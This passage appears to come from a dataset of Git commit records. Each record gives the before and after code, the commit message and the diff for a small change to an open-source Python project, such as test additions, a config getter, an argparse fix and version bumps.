assert investor.available_balance >= 0.0
assert investor.total_balance >= 0.0
| # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
try:
investor = InvestorAccount()
except LCError:
pytest.skip("skip because cannot find account ID")
assert investor.available_balance >= 0.0
assert investor.total_balance >= 0.0
| Fix error in the case when no ID is provided | Fix error in the case when no ID is provided
| Python | mit | ahartoto/lendingclub2 | ---
+++
@@ -14,9 +14,8 @@
class TestInvestorAccount(object):
def test_properties(self):
- investor = InvestorAccount()
try:
- investor.id()
+ investor = InvestorAccount()
except LCError:
pytest.skip("skip because cannot find account ID")
|
4a1cf52683b782b76fb75fa9254a37a804dda1ea | mywebsite/tests.py | mywebsite/tests.py | from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
| from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
def test_contact_page(self):
response = self.client.get(reverse('contact'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "Contact")
| Add test for contact page | Add test for contact page
| Python | mit | TomGijselinck/mywebsite,TomGijselinck/mywebsite | ---
+++
@@ -6,3 +6,8 @@
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
+
+ def test_contact_page(self):
+ response = self.client.get(reverse('contact'))
+ self.assertEqual(response.status_code, 200)
+ self.assertContains(response, "Contact") |
9f3abe5077fce0a2d7323a769fc063fca5b7aca8 | tests/test_bawlerd.py | tests/test_bawlerd.py | import os
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.conf.DEFAULT_CONFIG_FILENAME)
system_conf = os.path.join(
'/etc/pg_bawler',
bawlerd.conf.DEFAULT_CONFIG_FILENAME)
assert user_conf in bawlerd.conf.build_config_location_list()
assert system_conf in bawlerd.conf.build_config_location_list()
| import io
import os
from textwrap import dedent
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.conf.DEFAULT_CONFIG_FILENAME)
system_conf = os.path.join(
'/etc/pg_bawler',
bawlerd.conf.DEFAULT_CONFIG_FILENAME)
assert user_conf in bawlerd.conf.build_config_location_list()
assert system_conf in bawlerd.conf.build_config_location_list()
def test__load_file(self):
config = bawlerd.conf._load_file(io.StringIO(dedent("""\
logging:
formatters:
standard:
format: \"%(asctime)s %(levelname)s] %(name)s: %(message)s\"
handlers:
default:
level: "INFO"
formatter: standard
class: logging.StreamHandler
loggers:
"":
handlers: ["default"]
level: INFO
propagate: True
""")))
assert 'logging' in config
| Add simple test for _load_file | Add simple test for _load_file
Signed-off-by: Michal Kuffa <005ee1c97edba97d164343c993afee612ac25a0c@gmail.com>
| Python | bsd-3-clause | beezz/pg_bawler,beezz/pg_bawler | ---
+++
@@ -1,4 +1,6 @@
+import io
import os
+from textwrap import dedent
from pg_bawler import bawlerd
@@ -18,3 +20,22 @@
assert user_conf in bawlerd.conf.build_config_location_list()
assert system_conf in bawlerd.conf.build_config_location_list()
+
+ def test__load_file(self):
+ config = bawlerd.conf._load_file(io.StringIO(dedent("""\
+ logging:
+ formatters:
+ standard:
+ format: \"%(asctime)s %(levelname)s] %(name)s: %(message)s\"
+ handlers:
+ default:
+ level: "INFO"
+ formatter: standard
+ class: logging.StreamHandler
+ loggers:
+ "":
+ handlers: ["default"]
+ level: INFO
+ propagate: True
+ """)))
+ assert 'logging' in config |
d58973ff285ac2cdfae7a2e4e6dae668cf136f69 | timewreport/config.py | timewreport/config.py | import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = other
else:
raise TypeError()
self.__config.update(config)
def get_dict(self):
return self.__config
def get_value(self, key, default):
if key in self.__config:
return self.__config[key]
else:
return default
def get_boolean(self, key, default):
value = self.get_value(key, default)
return True if re.search('^(on|1|yes|y|true)$', '{}'.format(value)) else False
| import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = other
else:
raise TypeError()
self.__config.update(config)
def get_dict(self):
return self.__config
def get_value(self, key, default):
if key in self.__config:
return self.__config[key]
else:
return default
def get_boolean(self, key, default):
value = self.get_value(key, default)
return True if re.search('^(on|1|yes|y|true)$', '{}'.format(value)) else False
def get_debug(self):
return self.get_boolean('debug', False)
def get_verbose(self):
return self.get_boolean('verbose', False)
def get_confirmation(self):
return self.get_boolean('confirmation', False)
| Add specialized getters for flags 'debug', 'verbose', and 'confirmation' | Add specialized getters for flags 'debug', 'verbose', and 'confirmation'
| Python | mit | lauft/timew-report | ---
+++
@@ -28,3 +28,12 @@
value = self.get_value(key, default)
return True if re.search('^(on|1|yes|y|true)$', '{}'.format(value)) else False
+
+ def get_debug(self):
+ return self.get_boolean('debug', False)
+
+ def get_verbose(self):
+ return self.get_boolean('verbose', False)
+
+ def get_confirmation(self):
+ return self.get_boolean('confirmation', False) |
4b845f085c0a010c6de5f444dca0d57c0b3da3fa | wikipendium/jitishcron/models.py | wikipendium/jitishcron/models.py | from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
def __unicode__(self):
return '%s:%s' % (self.key, self.time)
| from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
app_label = 'jitishcron'
def __unicode__(self):
return '%s:%s' % (self.key, self.time)
| Add app_label to jitishcron TaskExecution model | Add app_label to jitishcron TaskExecution model
The TaskExecution model is loaded before apps are done loading, which in
Django 1.9 will no longer be permitted unless the model explicitly
specifies an app_label.
| Python | apache-2.0 | stianjensen/wikipendium.no,stianjensen/wikipendium.no,stianjensen/wikipendium.no | ---
+++
@@ -9,6 +9,7 @@
class Meta:
unique_together = ('key', 'execution_number')
+ app_label = 'jitishcron'
def __unicode__(self):
return '%s:%s' % (self.key, self.time) |
bd07980d9545de5ae82d6bdc87eab23060b0e859 | sqflint.py | sqflint.py | import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
return
exceptions = sqf.analyser.analyze(result).exceptions
for e in exceptions:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
def _main():
parser = argparse.ArgumentParser(description="Static Analyser of SQF code")
parser.add_argument('filename', nargs='?', type=argparse.FileType('r'), default=None,
help='The full path of the file to be analyzed')
args = parser.parse_args()
if args.filename is not None:
with open(args.filename) as file:
code = file.read()
else:
code = sys.stdin.read()
analyze(code)
if __name__ == "__main__":
_main()
| import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
return
exceptions = sqf.analyser.analyze(result).exceptions
for e in exceptions:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
def _main():
parser = argparse.ArgumentParser(description="Static Analyser of SQF code")
parser.add_argument('file', nargs='?', type=argparse.FileType('r'), default=None,
help='The full path of the file to be analyzed')
args = parser.parse_args()
if args.file is not None:
code = args.file.read()
else:
code = sys.stdin.read()
analyze(code)
if __name__ == "__main__":
_main()
| Fix parsing file - FileType already read | Fix parsing file - FileType already read
| Python | bsd-3-clause | LordGolias/sqf | ---
+++
@@ -20,14 +20,13 @@
def _main():
parser = argparse.ArgumentParser(description="Static Analyser of SQF code")
- parser.add_argument('filename', nargs='?', type=argparse.FileType('r'), default=None,
+ parser.add_argument('file', nargs='?', type=argparse.FileType('r'), default=None,
help='The full path of the file to be analyzed')
args = parser.parse_args()
- if args.filename is not None:
- with open(args.filename) as file:
- code = file.read()
+ if args.file is not None:
+ code = args.file.read()
else:
code = sys.stdin.read()
|
eaea19daa9ccb01b0dbef999c1f897fb9c4c19ee | Sketches/MH/pymedia/test_Input.py | Sketches/MH/pymedia/test_Input.py | #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public License, V2.1
#
# (1) Kamaelia Contributors are listed in the AUTHORS file and at
# http://kamaelia.sourceforge.net/AUTHORS - please extend this file,
# not this notice.
# (2) Reproduced in the COPYING file, and at:
# http://kamaelia.sourceforge.net/COPYING
# Under section 3.5 of the MPL, we are using this text since we deem the MPL
# notice inappropriate for this file. As per MPL/GPL/LGPL removal of this
# notice is prohibited.
#
# Please contact us via: kamaelia-list-owner@lists.sourceforge.net
# to discuss alternative licensing.
# -------------------------------------------------------------------------
from Audio.PyMedia.Input import Input
from Audio.PyMedia.Output import Output
from Kamaelia.Chassis.Pipeline import Pipeline
Pipeline( Input(sample_rate=44100, channels=1, format="S16_LE"),
Output(sample_rate=44100, channels=1, format="U8"),
).run()
| #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public License, V2.1
#
# (1) Kamaelia Contributors are listed in the AUTHORS file and at
# http://kamaelia.sourceforge.net/AUTHORS - please extend this file,
# not this notice.
# (2) Reproduced in the COPYING file, and at:
# http://kamaelia.sourceforge.net/COPYING
# Under section 3.5 of the MPL, we are using this text since we deem the MPL
# notice inappropriate for this file. As per MPL/GPL/LGPL removal of this
# notice is prohibited.
#
# Please contact us via: kamaelia-list-owner@lists.sourceforge.net
# to discuss alternative licensing.
# -------------------------------------------------------------------------
from Audio.PyMedia.Input import Input
from Audio.PyMedia.Output import Output
from Kamaelia.Chassis.Pipeline import Pipeline
Pipeline( Input(sample_rate=8000, channels=1, format="S16_LE"),
Output(sample_rate=8000, channels=1, format="S16_LE"),
).run()
| Fix so both input and output are the same format! | Fix so both input and output are the same format!
Matt
| Python | apache-2.0 | sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia | ---
+++
@@ -25,6 +25,6 @@
from Kamaelia.Chassis.Pipeline import Pipeline
-Pipeline( Input(sample_rate=44100, channels=1, format="S16_LE"),
- Output(sample_rate=44100, channels=1, format="U8"),
+Pipeline( Input(sample_rate=8000, channels=1, format="S16_LE"),
+ Output(sample_rate=8000, channels=1, format="S16_LE"),
).run() |
c890112827c88680c7306f5c90e04cdd0575911a | refactoring/simplify_expr.py | refactoring/simplify_expr.py | """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(Int(_,_)),Binary(Minus(Int(_,_)),x,y),Lit(Int(_,_),0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.path.Applicable(
ir.path.projectSelection ;
ir.match.expr ;
OnceTD(simplify)
)
input =
ir.path.Input(
![]
)
apply =
ir.path.Apply(
[root,[]] -> root ;
OnceTD(
ir.path.isSelected ;
InnerMost(simplify)
)
)
testAnd =
simplify Binary(And(Int(32,Signed)),Sym("x"),Sym("x")) => Sym("x")
''')
| """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(t),Binary(Minus(t),x,y),Lit(t,0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.path.Applicable(
ir.path.projectSelection ;
ir.match.expr ;
OnceTD(simplify)
)
input =
ir.path.Input(
![]
)
apply =
ir.path.Apply(
[root,[]] -> root ;
OnceTD(
ir.path.isSelected ;
InnerMost(simplify)
)
)
testAnd =
simplify Binary(And(Int(32,Signed)),Sym("x"),Sym("x")) => Sym("x")
''')
| Fix bug in simplify expression transformation. | Fix bug in simplify expression transformation.
| Python | lgpl-2.1 | mewbak/idc,mewbak/idc | ---
+++
@@ -9,7 +9,7 @@
parse.Transfs(r'''
simplify =
- Binary(Eq(Int(_,_)),Binary(Minus(Int(_,_)),x,y),Lit(Int(_,_),0))
+ Binary(Eq(t),Binary(Minus(t),x,y),Lit(t,0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) | |
e23738a84e370ebc9c17ae2bb38d65939efde4ab | version.py | version.py | """Simply keeps track of the current version of the client"""
VERSION="0.10.0"
| """Simply keeps track of the current version of the client"""
VERSION="0.10.1"
| Remove commented out code from build/lib/__main__.py | Remove commented out code from build/lib/__main__.py
| Python | mit | sgambino/project-packaging | ---
+++
@@ -1,3 +1,3 @@
"""Simply keeps track of the current version of the client"""
-VERSION="0.10.0"
+VERSION="0.10.1" |
33c8488cf656ec52ad0d74a9991a2ce23af69c46 | version.py | version.py | ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.1'
| ZULIP_VERSION = "1.5.1+git"
PROVISION_VERSION = '5.2'
| Update PROVISION_VERSION for webpack upgrade. | deps: Update PROVISION_VERSION for webpack upgrade.
| Python | apache-2.0 | verma-varsha/zulip,hackerkid/zulip,Galexrt/zulip,rishig/zulip,eeshangarg/zulip,vabs22/zulip,tommyip/zulip,verma-varsha/zulip,mahim97/zulip,kou/zulip,eeshangarg/zulip,amanharitsh123/zulip,verma-varsha/zulip,kou/zulip,eeshangarg/zulip,shubhamdhama/zulip,brainwane/zulip,punchagan/zulip,j831/zulip,shubhamdhama/zulip,brockwhittaker/zulip,vabs22/zulip,amanharitsh123/zulip,showell/zulip,rishig/zulip,tommyip/zulip,rht/zulip,dhcrzf/zulip,hackerkid/zulip,rht/zulip,j831/zulip,timabbott/zulip,synicalsyntax/zulip,andersk/zulip,vaidap/zulip,shubhamdhama/zulip,eeshangarg/zulip,rishig/zulip,shubhamdhama/zulip,brainwane/zulip,timabbott/zulip,shubhamdhama/zulip,shubhamdhama/zulip,synicalsyntax/zulip,jackrzhang/zulip,amanharitsh123/zulip,vaidap/zulip,tommyip/zulip,brockwhittaker/zulip,showell/zulip,vaidap/zulip,verma-varsha/zulip,jackrzhang/zulip,showell/zulip,vabs22/zulip,j831/zulip,rishig/zulip,brainwane/zulip,brockwhittaker/zulip,zulip/zulip,Galexrt/zulip,showell/zulip,showell/zulip,jackrzhang/zulip,jrowan/zulip,timabbott/zulip,jrowan/zulip,amanharitsh123/zulip,synicalsyntax/zulip,jackrzhang/zulip,vabs22/zulip,vabs22/zulip,vaidap/zulip,dhcrzf/zulip,verma-varsha/zulip,timabbott/zulip,punchagan/zulip,Galexrt/zulip,tommyip/zulip,andersk/zulip,mahim97/zulip,mahim97/zulip,jackrzhang/zulip,vaidap/zulip,tommyip/zulip,andersk/zulip,brockwhittaker/zulip,hackerkid/zulip,vabs22/zulip,tommyip/zulip,tommyip/zulip,j831/zulip,hackerkid/zulip,amanharitsh123/zulip,punchagan/zulip,timabbott/zulip,timabbott/zulip,rht/zulip,eeshangarg/zulip,hackerkid/zulip,rht/zulip,jrowan/zulip,kou/zulip,brainwane/zulip,shubhamdhama/zulip,brockwhittaker/zulip,dhcrzf/zulip,punchagan/zulip,Galexrt/zulip,vaidap/zulip,kou/zulip,kou/zulip,punchagan/zulip,brainwane/zulip,hackerkid/zulip,dhcrzf/zulip,rht/zulip,andersk/zulip,rht/zulip,amanharitsh123/zulip,jrowan/zulip,synicalsyntax/zulip,showell/zulip,eeshangarg/zulip,brainwane/zulip,zulip/zulip,kou/zulip,andersk/zulip,j831/zulip,jrowan/zulip,Galexrt/zulip,jrowan/zulip,verma-varsha/zulip,kou/zulip,rht/zulip,mahim97/zulip,jackrzhang/zulip,timabbott/zulip,zulip/zulip,rishig/zulip,zulip/zulip,mahim97/zulip,synicalsyntax/zulip,dhcrzf/zulip,synicalsyntax/zulip,jackrzhang/zulip,zulip/zulip,zulip/zulip,rishig/zulip,hackerkid/zulip,Galexrt/zulip,showell/zulip,j831/zulip,brainwane/zulip,dhcrzf/zulip,andersk/zulip,Galexrt/zulip,punchagan/zulip,punchagan/zulip,brockwhittaker/zulip,rishig/zulip,dhcrzf/zulip,synicalsyntax/zulip,zulip/zulip,eeshangarg/zulip,andersk/zulip,mahim97/zulip | ---
+++
@@ -1,2 +1,2 @@
ZULIP_VERSION = "1.5.1+git"
-PROVISION_VERSION = '5.1'
+PROVISION_VERSION = '5.2' |
c2be2bbd4dc6766eca004253b66eae556950b7bd | mccurse/cli.py | mccurse/cli.py | """Package command line interface."""
import click
from .curse import Game, Mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
@cli.command()
@click.option(
'--refresh', is_flag=True, default=False,
help='Force refreshing of search data.'
)
@click.argument('text', nargs=-1, type=str)
def search(refresh, text):
"""Search for TEXT in mods on CurseForge."""
if not text:
raise SystemExit('No text to search for!')
mc = Game(**MINECRAFT)
text = ' '.join(text)
refresh = refresh or not mc.have_fresh_data()
if refresh:
click.echo('Refreshing search data, please wait…', err=True)
mc.refresh_data()
mod_fmt = '{0.name}: {0.summary}'
for mod in Mod.search(mc.database.session(), text):
click.echo(mod_fmt.format(mod))
# If run as a package, run whole cli
cli()
| """Package command line interface."""
import curses
import click
from .curse import Game, Mod
from .tui import select_mod
# Static data
MINECRAFT = {'id': 432, 'name': 'Minecraft'}
@click.group()
def cli():
"""Minecraft Curse CLI client."""
# Initialize terminal for querying
curses.setupterm()
@cli.command()
@click.option(
'--refresh', is_flag=True, default=False,
help='Force refreshing of search data.'
)
@click.argument('text', nargs=-1, type=str)
def search(refresh, text):
"""Search for TEXT in mods on CurseForge."""
if not text:
raise SystemExit('No text to search for!')
mc = Game(**MINECRAFT)
text = ' '.join(text)
refresh = refresh or not mc.have_fresh_data()
if refresh:
click.echo('Refreshing search data, please wait…', err=True)
mc.refresh_data()
found = Mod.search(mc.database.session(), text)
title = 'Search results for "{}"'.format(text)
instructions = 'Choose mod to open its project page, or press [q] to quit.'
chosen = select_mod(found, title, instructions)
if chosen is not None:
project_url_fmt = 'https://www.curseforge.com/projects/{mod.id}/'
click.launch(project_url_fmt.format(mod=chosen))
| Add mod selection to the search command | Add mod selection to the search command
| Python | agpl-3.0 | khardix/mccurse | ---
+++
@@ -1,8 +1,11 @@
"""Package command line interface."""
+
+import curses
import click
from .curse import Game, Mod
+from .tui import select_mod
# Static data
@@ -12,6 +15,9 @@
@click.group()
def cli():
"""Minecraft Curse CLI client."""
+
+ # Initialize terminal for querying
+ curses.setupterm()
@cli.command()
@@ -35,10 +41,12 @@
click.echo('Refreshing search data, please wait…', err=True)
mc.refresh_data()
- mod_fmt = '{0.name}: {0.summary}'
- for mod in Mod.search(mc.database.session(), text):
- click.echo(mod_fmt.format(mod))
+ found = Mod.search(mc.database.session(), text)
+ title = 'Search results for "{}"'.format(text)
+ instructions = 'Choose mod to open its project page, or press [q] to quit.'
-# If run as a package, run whole cli
-cli()
+ chosen = select_mod(found, title, instructions)
+ if chosen is not None:
+ project_url_fmt = 'https://www.curseforge.com/projects/{mod.id}/'
+ click.launch(project_url_fmt.format(mod=chosen)) |
d21f32b8e5e069b79853724c3383af3beabc3686 | app/wine/admin.py | app/wine/admin.py | from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "in_cellar",]
fieldsets = (
('Bottle', {
'fields': ('bottle_text', 'year', 'wine_type', 'winery',),
}),
('Purchase', {
'fields': ('date_purchased', 'price', 'store', 'importer'),
}),
('Consumption', {
'fields': ('date_consumed', 'liked_it', 'notes',),
})
)
inlines = [
GrapeInline,
]
admin.site.register(Winery)
| from django.contrib import admin
from .models import Wine, Grape, Winery
class GrapeInline(admin.TabularInline):
model = Grape
extra = 0
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
list_display = ["__str__", "year", "wine_type", "in_cellar",]
fieldsets = (
('Bottle', {
'fields': ('bottle_text', 'year', 'wine_type', 'winery',),
}),
('Purchase', {
'fields': ('date_purchased', 'price', 'store', 'importer'),
}),
('Consumption', {
'fields': ('date_consumed', 'liked_it', 'notes',),
})
)
inlines = [
GrapeInline,
]
admin.site.register(Winery)
| Add wine type to the list. | Add wine type to the list.
| Python | mit | ctbarna/cellar,ctbarna/cellar | ---
+++
@@ -9,7 +9,7 @@
@admin.register(Wine)
class WineAdmin(admin.ModelAdmin):
- list_display = ["__str__", "year", "in_cellar",]
+ list_display = ["__str__", "year", "wine_type", "in_cellar",]
fieldsets = (
('Bottle', {
'fields': ('bottle_text', 'year', 'wine_type', 'winery',), |
761b9935d0aa9361cef4093b633c54a3ab8e132a | anchore_engine/common/__init__.py | anchore_engine/common/__init__.py | """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "policy_evaluations", "query_data", "vulnerability_scan", "image_content_data", "manifest_data"]
super_users = ['admin', 'anchore-system']
image_content_types = ['os', 'files', 'npm', 'gem', 'python', 'java']
image_metadata_types = ['manifest', 'docker_history', 'dockerfile']
image_vulnerability_types = ['os', 'non-os']
os_package_types = ['rpm', 'dpkg', 'APKG']
nonos_package_types = ('java', 'python', 'npm', 'gem', 'maven', 'js', 'composer', 'nuget')
| """
Common utilities/lib for use by multiple services
"""
subscription_types = ['policy_eval', 'tag_update', 'vuln_update', 'repo_update', 'analysis_update']
resource_types = ['registries', 'users', 'images', 'policies', 'evaluations', 'subscriptions', 'archive']
bucket_types = ["analysis_data", "policy_bundles", "policy_evaluations", "query_data", "vulnerability_scan", "image_content_data", "manifest_data"]
super_users = ['admin', 'anchore-system']
image_content_types = ['os', 'files', 'npm', 'gem', 'python', 'java']
image_metadata_types = ['manifest', 'docker_history', 'dockerfile']
image_vulnerability_types = ['os', 'non-os']
os_package_types = ['rpm', 'dpkg', 'apkg', 'kb']
nonos_package_types = ('java', 'python', 'npm', 'gem', 'maven', 'js', 'composer', 'nuget')
| Add some package and feed group types for api handling | Add some package and feed group types for api handling
Signed-off-by: Zach Hill <9de8c4480303b5335cd2a33eefe814615ba3612a@anchore.com>
| Python | apache-2.0 | anchore/anchore-engine,anchore/anchore-engine,anchore/anchore-engine | ---
+++
@@ -9,5 +9,5 @@
image_content_types = ['os', 'files', 'npm', 'gem', 'python', 'java']
image_metadata_types = ['manifest', 'docker_history', 'dockerfile']
image_vulnerability_types = ['os', 'non-os']
-os_package_types = ['rpm', 'dpkg', 'APKG']
+os_package_types = ['rpm', 'dpkg', 'apkg', 'kb']
nonos_package_types = ('java', 'python', 'npm', 'gem', 'maven', 'js', 'composer', 'nuget') |
8233bee4cf296a67fd2a86ed812557ffbf826cb8 | wp2github/_version.py | wp2github/_version.py | __version_info__ = (1, 0, 1)
__version__ = '.'.join(map(str, __version_info__))
| __version_info__ = (1, 0, 2)
__version__ = '.'.join(map(str, __version_info__))
| Replace Markdown README with reStructured text | Replace Markdown README with reStructured text
| Python | mit | r8/wp2github.py | ---
+++
@@ -1,2 +1,2 @@
-__version_info__ = (1, 0, 1)
+__version_info__ = (1, 0, 2)
__version__ = '.'.join(map(str, __version_info__)) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.